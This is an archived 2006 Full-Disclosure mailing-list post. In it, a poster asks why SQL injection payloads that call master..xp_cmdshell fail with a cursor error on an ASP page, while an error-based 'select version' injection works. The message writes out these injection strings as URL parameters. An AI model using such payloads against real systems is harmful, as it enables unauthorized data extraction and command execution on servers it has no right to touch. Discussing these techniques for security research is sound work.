OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[Full-disclosure] SQL Injection with cursors?

From: Andres Molinetti (andymolinettihotmail.com)
Date: Wed Nov 01 2006 - 12:53:39 CST

Hi,

I have another question, somehow related with my previous one.

I have an injection point, where I can do, for example

        test.asp?param=blabla' and 1=(select version)--

and injections of the sort, and retrieve the information without problems.

Now, when I try to execute a stored procedure like

       test.asp?param=blabla' exec master..xp_cmdshell 'dir'--

or

       test.asp?param=blabla'; exec master..xp_cmdshell 'dir'--

I get the following error:

Microsoft OLE DB Provider for SQL Server error '80040e14'
sp_cursoropen/sp_cursorprepare: The statement parameter can only be a single
select or a single stored procedure.

Does anybody got an idea of why this is happening?

Best Regards,

Andy.

_________________________________________________________________
Dale rienda suelta a tu tiempo libre. Mil ideas para exprimir tu ocio con
MSN Entretenimiento. http://entretenimiento.msn.es/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/